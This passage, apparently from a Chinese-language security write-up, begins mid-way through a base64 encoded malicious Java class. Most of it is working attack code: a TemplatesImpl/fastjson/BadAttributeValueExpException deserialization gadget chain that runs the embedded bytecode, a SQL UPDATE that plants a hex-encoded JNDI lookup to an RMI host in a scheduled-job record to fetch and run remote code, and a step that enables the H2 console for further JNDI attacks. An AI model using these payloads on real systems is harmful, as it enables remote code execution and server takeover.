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" ); byte [][] bytes = new byte [][]{decode}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes" , bytes); setFieldValue(templates, "_name" , "123" ); setFieldValue(templates, "_class" , null ); JSONArray objects = new JSONArray (); objects.add(templates); BadAttributeValueExpException bad = new BadAttributeValueExpException (null ); setFieldValue(bad,"val" ,objects); HashMap hashMap = new HashMap (); hashMap.put(templates,bad); ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./fj.bin" )); outputStream.writeObject(hashMap); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./fj.bin" )); inputStream.readObject(); } }
参考 https://forum.butian.net/share/2796
https://github.com/SpringKill-team/SecurityInspector
一些定时任务可利用点 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 Map map = new HashMap <>(); String[] beanNames = beanFactory.getBeanDefinitionNames();for (String beanName : beanNames){ String name1 = beanFactory.getBean(beanName).getClass().getName(); map.put(beanName, name1); }return map; jdbcTemplate.execute('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e6c6461702e496e697469616c4c646170436f6e746578742e6c6f6f6b75702827726d693a2f2f3132372e302e302e313a313039372f6578702729 WHERE job_id = 4' ); spring.h2.console-org.springframework.boot.autoconfigure.h2.H2ConsoleProperties.setEnabled(true ); 然后访问h2->jndi工具